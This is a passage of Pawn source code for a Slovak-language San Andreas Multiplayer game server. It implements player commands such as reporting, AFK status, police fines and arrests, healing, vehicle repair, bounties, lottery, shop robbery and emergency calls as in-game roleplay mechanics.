        if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}/report [ ID ] [ DÔVOD ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(strlen(params[chrfind(' ',params)+1])>100 && strlen(params[chrfind(' ',params)+1])>=1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Zadal si veľmy dlhý dôvod ! Maximálne 100 znakoů !");
        else
        {
            new Name[26];
            new Name2[26];
            GetPlayerName(playerid,Name,26);
            GetPlayerName(id,Name2,26);
            new stringxx[256];
            format(stringxx,256,"[ REPORT ] od: %s | Hráč: %s | Dôvod: %s",Name,Name2,params[chrfind(' ',params)+1]);
            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        if(Player[i][AdminLevel]>=1)
                        {
                            SendClientMessage(i,COLOR_RED,stringxx);
                        }
                    }
                }
            }
            SendClientMessage(playerid,COLOR_ORANGE,"[  !  ] Úspešne si poslal Report !");
        }
    }
    return 1;
}

dcmd_admins(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[64];
        new bool:IsAnyAdminConnected = false;

        for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i))
            {
                if(!IsPlayerNPC(playerid))
                {
                    new Name[24];
                    GetPlayerName(i,Name,24);

                    if(IsPlayerAdmin(i) && Player[i][AdminLevel]==0)
                    {
                        format(string,64,"%s (%d)   ||   [ RCON ]",Name,i);
                        SendClientMessage(playerid,COLOR_ADMIN,string);
                        IsAnyAdminConnected = true;
                    }
                    else if(Player[i][AdminLevel]>=1 && !IsPlayerAdmin(i))
                    {
                        format(string,64,"%s (%d)   ||   [ LVL %d ]",Name,i,Player[i][AdminLevel]);
                        SendClientMessage(playerid,COLOR_ADMIN,string);
                        IsAnyAdminConnected = true;
                    }
                    else if(IsPlayerAdmin(i) && Player[i][AdminLevel]>=1)
                    {
                        format(string,64,"%s (%d)   ||   [ LVL %d + RCON ]",Name,i,Player[i][AdminLevel]);
                        SendClientMessage(playerid,COLOR_ADMIN,string);
                        IsAnyAdminConnected = true;
                    }
                }
            }
        }

        if(IsAnyAdminConnected == false) SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nikto z pripojených hráčov nie je  Administrátor !");
    }
    return 1;
}

dcmd_house(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][HouseP]==9999) return SendClientMessage(playerid,COLOR_WARNING,"Nemáš dom !");
        else if(GetPlayerVirtualWorld(playerid)!=HouseStates[Player[playerid][HouseP]][VirtualWorld]) return SendClientMessage(playerid,COLOR_WARNING,"Nie si vo svojom dome !");
        else ShowPlayerDialog(playerid,Dialog_HS_CMD_menu,DIALOG_STYLE_LIST,"Dom","Lock / Unlock\nWeapon slots\nSkins","Ďalej","Cancel");
    }
    return 1;
}

dcmd_afk(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new Name[24], string[128];
        GetPlayerName(playerid,Name,24);

        if(Player[playerid][AFK]==false)
        {
            if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Použi: /afk [ DôVOD ]");
            else if(strlen(params)==0 || strlen(params)>50) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} DôVOD - Maximálne 50 znakov !");
            else
            {
                format(string,128,"Hráč %s (%d) je odteraz AFK [ DôVOD: %s ]",Name,playerid,params);
                SendClientMessageToAll(COLOR_GRAY,string);
                TogglePlayerControllable(playerid,0);
                Player[playerid][AFK]=true;
                new world = GetPlayerVirtualWorld(playerid);
                new Float:X, Float:Y, Float:Z;
                GetPlayerPos(playerid,X,Y,Z);
                Text_AFK[playerid] = Create3DTextLabel("Away From Keyboard",COLOR_WHITE,X,Y,Z,50,world);
                Attach3DTextLabelToPlayer(Text_AFK[playerid],playerid,0.0,0.0,1.0);

                if(GetPlayerVirtualWorld(playerid)==0 || GetPlayerInterior(playerid)==0)
                {
                    SetPlayerCameraPos(playerid,1061.720,-1492.135,30.504);
                    SetPlayerCameraLookAt(playerid,1464.758,-1222.032,91.411);
                }
            }
        }
        else
        {
            format(string,128,"Hráč %s sa vrátil do hry.",Name);
            SendClientMessageToAll(COLOR_GRAY,string);
            Player[playerid][AFK]=false;
            PlayerCameraBack(playerid);
            Delete3DTextLabel(Text_AFK[playerid]);
        }
    }
    return 1;
}

dcmd_wanted(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new bool:IsAnyWanted = false;
        new T_msg[64];

        if(Player[playerid][Team]!=5 && Player[playerid][Team]!=11 && Player[playerid][Team]!=19 && Player[playerid][Team]!=22 && Player[playerid][Team]!=25) return SendClientMessage(playerid,COLOR_WARNING,"Nie si členom Policie !");
        else
        {
            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(!IsPlayerNPC(i))
                    {
                        new Name[24];
                        GetPlayerName(i,Name,24);

                        if(GetPlayerWantedLevel(i)>=1)
                        {
                            format(T_msg,64,"%s (%d)   ||   WL: %d",Name,i,GetPlayerWantedLevel(i));
                            SendClientMessage(playerid,0xFF0000FF,T_msg);
                            IsAnyWanted = true;
                        }
                    }
                }
            }
            if(IsAnyWanted == false) SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nikto z pripojených hráčov nie je hľadaný !");
        }
    }
    return 1;
}

dcmd_bounties(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new bool:Bounties = false;
        new msg[64];

         for(new i=0; i<=Server[ConP]; i++)
        {
            if(IsPlayerConnected(i))
            {
                if(!IsPlayerNPC(i))
                {
                    new Name[24];
                    GetPlayerName(i,Name,24);
                    if(Player[i][Reward]>=1)
                    {
                        format(msg,64,"%s (%d)   ||   Reward: %d",Name,i,Player[i][Reward]);
                        SendClientMessage(playerid,0xFF0000AA,msg);
                        Bounties = true;
                    }
                }
            }
        }
        if(Bounties == false) SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na nikoho z pripojených hráčov nie je vypísana odmena !");
    }
    return 1;
}

dcmd_p(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new cash;
        new id = strval(params);
        new Float:X, Float:Y, Float:Z;
        GetPlayerPos(playerid,X,Y,Z);

             if(Player[playerid][Team]!=5 && Player[playerid][Team]!=11 && Player[playerid][Team]!=19 && Player[playerid][Team]!=22 && Player[playerid][Team]!=25) return SendClientMessage(playerid,COLOR_WARNING,"Nie si členom Policie !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /p [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerInSphere(id,X,Y,Z,4))
        {
            if(GetPlayerWantedLevel(id)==1) cash=300;
            if(GetPlayerWantedLevel(id)==2) cash=750;
            if(GetPlayerWantedLevel(id)==3) cash=1200;
            if(GetPlayerWantedLevel(id)==4) cash=3000;
            if(GetPlayerWantedLevel(id)==5) cash=5000;
            if(GetPlayerWantedLevel(id)==6) cash=10000;
            //----------------------------
            if(GetPlayerWantedLevel(id) <= 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemôžeš hráča pokutovat pretože nie je hľadany !");
            else
            {
                if(GetPlayerACMoney(id)>=cash)
                {
                    new Name[24], Name2[24], MSG[128];
                    GetPlayerName(playerid,Name,24);
                    GetPlayerName(id,Name2,24);
                    format(MSG,128,"Hráč %s bol pokutovány policajtem %s v hodnote %d$ !",Name2,Name,cash);
                    SendClientMessageToAll(COLOR_BLUE,MSG);
                    if(id != playerid) GivePlayerACMoney(playerid,cash);
                                       GivePlayerACMoney(id,-cash);
                    SetPlayerWantedLevel(id,0);
                }
                else if(GetPlayerACMoney(id)<cash)
                {
                    new Name[24], Name2[24], MSG[256];
                    GetPlayerName(playerid,Name,24);
                    GetPlayerName(id,Name2,24);
                    format(MSG,256,"Policajt %s pokutuje hráča %s... Hráč %s nemá dostatok peňazí na zaplatenie pokuty, bude mu zobrane všetko !",Name,Name2,Name2);
                    SendClientMessageToAll(COLOR_BLUE,MSG);
                    GivePlayerACMoney(playerid,GetPlayerACMoney(id));
                    ResetPlayerACMoney(id);
                    SetPlayerWantedLevel(id,1);
                }

                Player[playerid][Premie]+=2000;
            }
        } else SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_s(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new Float:X, Float:Y, Float:Z;
        GetPlayerPos(playerid,X,Y,Z);
        if(Player[playerid][Team]!=5 && Player[playerid][Team]!=11 && Player[playerid][Team]!=19 && Player[playerid][Team]!=22 && Player[playerid][Team]!=25) return SendClientMessage(playerid,COLOR_WARNING,"Nie si členom Policie !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /s [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(!IsPlayerInAnyVehicle(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nie je vo vozidle !");
        else
        {
            new Name[24], Name2[24], MSG[128];
            GetPlayerName(playerid,Name,24);
            GetPlayerName(id,Name2,24);
            format(MSG,128,"Tu je policia (%s) ! Hráč %s zastav svoje vozidlo a vystup z neho !",Name,Name2);
            SendClientMessageToAll(COLOR_BLUE,MSG);

            Player[playerid][Premie]+=1250;
        }
    }
    return 1;
}

dcmd_c(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new Float:X, Float:Y, Float:Z;
        GetPlayerPos(playerid,X,Y,Z);

             if(Player[playerid][Team]!=5 && Player[playerid][Team]!=11 && Player[playerid][Team]!=19 && Player[playerid][Team]!=22 && Player[playerid][Team]!=25) return SendClientMessage(playerid,COLOR_WARNING,"Nie si členom Policie !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /c [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerInSphere(id,X,Y,Z,4))
        {
            new Name2[24], Text1[64], Text2[256];
            GetPlayerName(id,Name2,24);
            format(Text1,64,"{ffff00}Kontrola hráča: %s",Name2);

            new YesOrNo1[8], YesOrNo2[8];
            if(Player[id][Vodicak]==false) YesOrNo1 = "Nie";
            else YesOrNo1 = "Ano";
            if(Player[id][Zbrojak]==false) YesOrNo2 = "Nie";
            else YesOrNo2 = "Ano";

            new PWL[64];
            if(GetPlayerWantedLevel(id)==0) PWL = "nehledaný";
            if(GetPlayerWantedLevel(id)==1) PWL = "{FFCC00}*{FFFFFF}";
            if(GetPlayerWantedLevel(id)==2) PWL = "{FFCC00}* *{FFFFFF}";
            if(GetPlayerWantedLevel(id)==3) PWL = "{FFCC00}* * *{FFFFFF}";
            if(GetPlayerWantedLevel(id)==4) PWL = "{FFCC00}* * * *{FFFFFF}";
            if(GetPlayerWantedLevel(id)==5) PWL = "{FFCC00}* * * * *{FFFFFF}";
            if(GetPlayerWantedLevel(id)>=6) PWL = "{FFCC00}* * * * * *{FFFFFF}";

            new Float:alkohol = GetPlayerDrunkLevel(id)/3750;

            Player[playerid][Premie]+=1000;

            format(Text2,256,"{FFFFFF}Meno: %s\nID: %d\nWanted level: %s\nVodičský preukaz: %s\nZbrojný preukaz: %s\nPovolanie: %s\nAlkohol: %f promile",Name2,id,PWL,YesOrNo1,YesOrNo2,GetPlayerTeamString(id),alkohol);
            ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,Text1,Text2,"OK","Cancel");
        }
        else SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_j(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new Float:X, Float:Y, Float:Z;
        GetPlayerPos(playerid,X,Y,Z);

             if(Player[playerid][Team]!=5 && Player[playerid][Team]!=11 && Player[playerid][Team]!=19 && Player[playerid][Team]!=22 && Player[playerid][Team]!=25) return SendClientMessage(playerid,COLOR_WARNING,"Nie si členom Policie !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /j [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(GetPlayerVirtualWorld(playerid) >= 1000 && GetPlayerVirtualWorld(playerid) <= 1010) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemôžeš zatíkať na notebooku !");
        else if(IsPlayerInSphere(id,X,Y,Z,4))
        {
                 if(GetPlayerWantedLevel(id)<3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nemá dostatočný Wanted Level na zatknutie ! Potrebuje aspoň 3 !");
            else if(GetPlayerWantedLevel(id)>=3)
            {
                new Name[24], Name2[24], MSG[128];
                GetPlayerName(playerid,Name,24);
                GetPlayerName(id,Name2,24);
                format(MSG,128,"Hráč %s (%d) bol zatknuty policajtom %s (%d) !",Name2,id,Name,playerid);
                SendClientMessageToAll(COLOR_BLUE,MSG);
                Player[playerid][Premie]+=30000;
                Player[id][PrisonTime]=GetPlayerWantedLevel(id)*60;
                SetTimerEx("UnPrisoner",1000,0,"i",id);
                TextDrawShowForPlayer(id,PrisonTD[id]);
                SetPlayerWantedLevel(id,0);
                Player[playerid][IsPlayerJailed]=true;
                ResetPlayerWeapons(id);
                ResetPlayerACMoney(id);
                SpawnPlayer(id);
            }
        }
        else SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_heal(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new Float:X, Float:Y, Float:Z, Float:hp;
        GetPlayerHealth(id,hp);
        GetPlayerPos(playerid,X,Y,Z);

             if(Player[playerid][Team]!=14) return SendClientMessage(playerid,COLOR_WARNING,"Nie si Doktor !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /heal [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerInSphere(id,X,Y,Z,4))
        {
            if(GetPlayerACMoney(id)<2500) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nemá 2500$ na zaplatenie liečby !");
            if(hp>=95) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nie je zranený !");
            else
            {
                new Name[24], Name2[24], MSG[128];
                GetPlayerName(playerid,Name,24);
                GetPlayerName(id,Name2,24);
                format(MSG,128,"Doktor %s uzdravil hráča %s !",Name,Name2);
                SendClientMessageToAll(COLOR_WHITE,MSG);
                SetPlayerHealth(id,100);
                GivePlayerACMoney(id,-2500);
                if(playerid != id) GivePlayerACMoney(playerid,2500);
                Player[playerid][Premie]+=3200;
            }
        }
        else SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_repair(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new Float:X, Float:Y, Float:Z;
        GetPlayerPos(playerid,X,Y,Z);

             if(Player[playerid][Team]!=15) return SendClientMessage(playerid,COLOR_WARNING,"Nie si Mechanik !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /repair [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerInSphere(id,X,Y,Z,8))
        {
            if(GetPlayerACMoney(id)<3000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nemá 3000$ na zaplatenie služby !");
            if(!IsPlayerInAnyVehicle(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nie je vo vozidle !");
            else
            {
                new Name[24], Name2[24], MSG[128];
                GetPlayerName(playerid,Name,24);
                GetPlayerName(id,Name2,24);
                format(MSG,128,"Mechanik %s opravil vozidlo hráčovy %s.",Name,Name2);
                SendClientMessageToAll(COLOR_WHITE,MSG);
                SetVehicleHealth(GetPlayerVehicleID(id),1000);
                RepairVehicle(GetPlayerVehicleID(id));
                GivePlayerACMoney(id,-3000);
                if(playerid != id) GivePlayerACMoney(playerid,3000);
            }
        }
        else SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_fuel(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new Float:X, Float:Y, Float:Z;
        GetPlayerPos(playerid,X,Y,Z);

             if(Player[playerid][Team]!=15) return SendClientMessage(playerid,COLOR_WARNING,"Nie si Mechanik !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /fuel [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerInSphere(id,X,Y,Z,8))
        {
            if(GetPlayerACMoney(id)<5000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nemá 5000$ na zaplatenie služby !");
            if(!IsPlayerInAnyVehicle(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč nie je vo vozidle !");
            else
            {
                new Name[24], Name2[24], MSG[128];
                GetPlayerName(playerid,Name,24);
                GetPlayerName(id,Name2,24);
                format(MSG,128,"Mechanik %s natankoval benzín hráčovy %s.",Name,Name2);
                SendClientMessageToAll(COLOR_WHITE,MSG);
                ResetVehicleFuel(GetPlayerVehicleID(id));
                GivePlayerACMoney(id,-5000);
                if(playerid != id) GivePlayerACMoney(playerid,5000);
            }
        }
        else SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_hitman(playerid, params[])
{
    new id = strval(params);
    new cash = strval(params[chrfind(' ',params)+1]);

    if(IsPlayerConnected(playerid))
    {
             if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /hitman [ ID ] [ REWARD ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(cash<1000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Odmena nemôže byť menšia než 1000$ !");
        else if(cash>GetPlayerACMoney(playerid)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemáš dostatok peňazí !");
        else
        {
            Player[id][Reward]+=cash;
            GivePlayerACMoney(playerid,-cash);
            new Name[24], Name2[24], HitMSG[128];
            GetPlayerName(playerid,Name,24);
            GetPlayerName(id,Name2,24);
            format(HitMSG,128,"Hráč %s vypísal odmenu %d$ na hráče %s ! Celkova je na hráča %s vypisana %d$ !",Name,cash,Name2,Name2,Player[id][Reward]);
            SendClientMessageToAll(COLOR_ORANGE,HitMSG);
        }
    }
    return 1;
}

dcmd_caution(playerid, params[])
{
    new id = strval(params);
    if(IsPlayerConnected(playerid))
    {
             if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /caution [ ID ]");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je na serveri !");
        else if(Player[id][IsPlayerJailed] == false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Hráč zo zadaným ID nie je vo vezení !");
        else if(GetPlayerACMoney(playerid)<40000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemáš dostatok peňazí, potřebuješ 40 000$ !");
        else
        {
            GivePlayerACMoney(playerid,-40000);
            new Name[24], Name2[24], MSG[128];
            GetPlayerName(playerid,Name,24);
            GetPlayerName(id,Name2,24);
            format(MSG,128,"Hráč %s (%d) zaplatil kauci hráči %s (%d) v hodnote 40 000$ !",Name,playerid,Name2,id);
            SendClientMessageToAll(COLOR_BLUE,MSG);
            Player[id][PrisonTime]=0;
            UnPrisoner(id);
        }
    }
    return 1;
}

dcmd_lotto(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /lotto [ 10-100 ]");
        else if(strval(params)<10 || strval(params)>100) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /lotto [ 10-100 ]");
        else if(GetPlayerACMoney(playerid)<5000) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nemáš dostatok peňazí, potřebuješ 5000$ !");
        else
        {
            Player[playerid][LottoNumber]=strval(params);
            GivePlayerACMoney(playerid,-5000);
            new MSG[128];
            format(MSG,128,"Vsadil si si do Lotta na číslo %d, počkaj na dalšie žrebovanie.",Player[playerid][LottoNumber]);
            SendClientMessage(playerid,COLOR_ORANGE,MSG);
        }
    }
    return 1;
}

dcmd_dragstart(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Drag[State]==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Ešte nebol založeny žiadny drag !");
        else if(Player[playerid][DragRacer]!=1) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Nejsi připojený v dragu !");
        else if(Drag[State]==2) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Drag byl již odstartován !");
        else
        {
            Drag[State]=2;
            Drag[StartTimer] = SetTimer("DragCountDown",1000,1);
            Drag[StartTime]=6;
            Drag[RaceTime]=0;
            new Name[24], DragMessage[128];
            GetPlayerName(playerid,Name,24);
            format(DragMessage,128,"[ DRAG ] Hráč %s zahájil odpočet !",Name);
            SendClientMessageToAll(COLOR_GOLD,DragMessage);
        }
    }
    return 1;
}

dcmd_rob(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new Name[24];
        GetPlayerName(playerid,Name,24);

        if(Player[playerid][RobTime]>0)
        {
            new warmsg[128];
            format(warmsg,128,"[  !  ]{ffffff} Obchody môžeš vykrádať až za %d sekund !",Player[playerid][RobTime]);
            return SendClientMessage(playerid,COLOR_WARNING,warmsg);
        }
        else if(GetPlayerWeapon(playerid)==0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš v ruke žiadnu zbraň !");

        else if(GetPlayerVirtualWorld(playerid) >= 2000 && GetPlayerVirtualWorld(playerid) <= 2028)
        {
            new rob_msg[128];
            new plus_cash = 7000+random(6000);

                 if(GetPlayerVirtualWorld(playerid)==2003 || GetPlayerVirtualWorld(playerid)==2027)                                                                                                                                                                        format(rob_msg,128,"Hráč %s vykradol obchod Binco so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);
            else if(GetPlayerVirtualWorld(playerid)==2008 || GetPlayerVirtualWorld(playerid)==2009 || GetPlayerVirtualWorld(playerid)==2005 || GetPlayerVirtualWorld(playerid)==2017 || GetPlayerVirtualWorld(playerid)==2020 || GetPlayerVirtualWorld(playerid)==2021)    format(rob_msg,128,"Hráč %s vykradol obchod Burger Shot so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);
            else if(GetPlayerVirtualWorld(playerid)==2007 || GetPlayerVirtualWorld(playerid)==2013 || GetPlayerVirtualWorld(playerid)==2014 || GetPlayerVirtualWorld(playerid)==2025 || GetPlayerVirtualWorld(playerid)==2026 || GetPlayerVirtualWorld(playerid)==2028)    format(rob_msg,128,"Hráč %s vykradol obchod Pizza so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);
            else if(GetPlayerVirtualWorld(playerid)==2002 || GetPlayerVirtualWorld(playerid)==2004 || GetPlayerVirtualWorld(playerid)==2006 || GetPlayerVirtualWorld(playerid)==2016 || GetPlayerVirtualWorld(playerid)==2019 || GetPlayerVirtualWorld(playerid)==2023)    format(rob_msg,128,"Hráč %s vykradol obchod Cluckin Bell so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);
            else if(GetPlayerVirtualWorld(playerid)==2000 || GetPlayerVirtualWorld(playerid)==2001 || GetPlayerVirtualWorld(playerid)==2012 || GetPlayerVirtualWorld(playerid)==2015 || GetPlayerVirtualWorld(playerid)==2018)                                            format(rob_msg,128,"Hráč %s vykradol obchod Ammu - Nation so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);
            else if(GetPlayerVirtualWorld(playerid)==2010)                                                                                                                                                                                                                format(rob_msg,128,"Hráč %s vykradol obchod Pro Laps so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);
            else if(GetPlayerVirtualWorld(playerid)==2011 || GetPlayerVirtualWorld(playerid)==2024)                                                                                                                                                                        format(rob_msg,128,"Hráč %s vykradol obchod Victim so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);
            else if(GetPlayerVirtualWorld(playerid)==2022)                                                                                                                                                                                                                format(rob_msg,128,"Hráč %s vykradol obchod ZIP so zbraňou %s. Zpôsobil škody za %d$ !",Name,WeaponName(GetPlayerWeapon(playerid)), plus_cash);

            SendClientMessageToAll(COLOR_RED, rob_msg);
            GivePlayerACMoney(playerid, plus_cash);
            Player[playerid][RobTime]=60;
            Player[playerid][RobTimer] = SetTimerEx("RobTimeDown",1000,1,"i",playerid);

            if(GetPlayerWantedLevel(playerid) < 6) SetPlayerWantedLevel(playerid, GetPlayerWantedLevel(playerid)+1);
        }
        else SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v obchode !");
    }
    return 1;
}

dcmd_112(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
{
        new string[256], GameZone[MAX_ZONE_NAME], Name[24];
        GetPlayer2DZone(playerid,GameZone,MAX_ZONE_NAME);
        GetPlayerName(playerid,Name,24);
        format(string,256,"[ 112 ]{ffff00} Hráč %s (%d) potrebuje pomoc ! [ Pozicia: %s ]",Name,playerid,GameZone);
        SendClientMessageToAll(COLOR_RED,string);
    }
    return 1;
}

dcmd_150(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[256], GameZone[MAX_ZONE_NAME], Name[24];
        GetPlayer2DZone(playerid,GameZone,MAX_ZONE_NAME);
        GetPlayerName(playerid,Name,24);
        format(string,256,"[ 150 ]{ffff00} Hráč %s (%d) potrebuje hasičov ! [ Pozicia: %s ]",Name,playerid,GameZone);
        SendClientMessageToAll(COLOR_RED,string);
    }
    return 1;
}

dcmd_155(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[256], GameZone[MAX_ZONE_NAME], Name[24];
        GetPlayer2DZone(playerid,GameZone,MAX_ZONE_NAME);
        GetPlayerName(playerid,Name,24);
        format(string,256,"[ 155 ]{ffff00} Hráč %s (%d) potrebuje záchranku ! [ Pozicia: %s ]",Name,playerid,GameZone);
        SendClientMessageToAll(COLOR_RED,string);
    }
    return 1;
}

dcmd_158(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[256], GameZone[MAX_ZONE_NAME], Name[24];
        GetPlayer2DZone(playerid,GameZone,MAX_ZONE_NAME);
        GetPlayerName(playerid,Name,24);
        format(string,256,"[ 158 ]{ffff00} Hráč %s (%d) potrebuje policiu ! [ Pozicia: %s ]",Name,playerid,GameZone);
        SendClientMessageToAll(COLOR_RED,string);
    }
    return 1;
}

dcmd_taxi(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[256], GameZone[MAX_ZONE_NAME], Name[24];
        GetPlayer2DZone(playerid,GameZone,MAX_ZONE_NAME);
        GetPlayerName(playerid,Name,24);
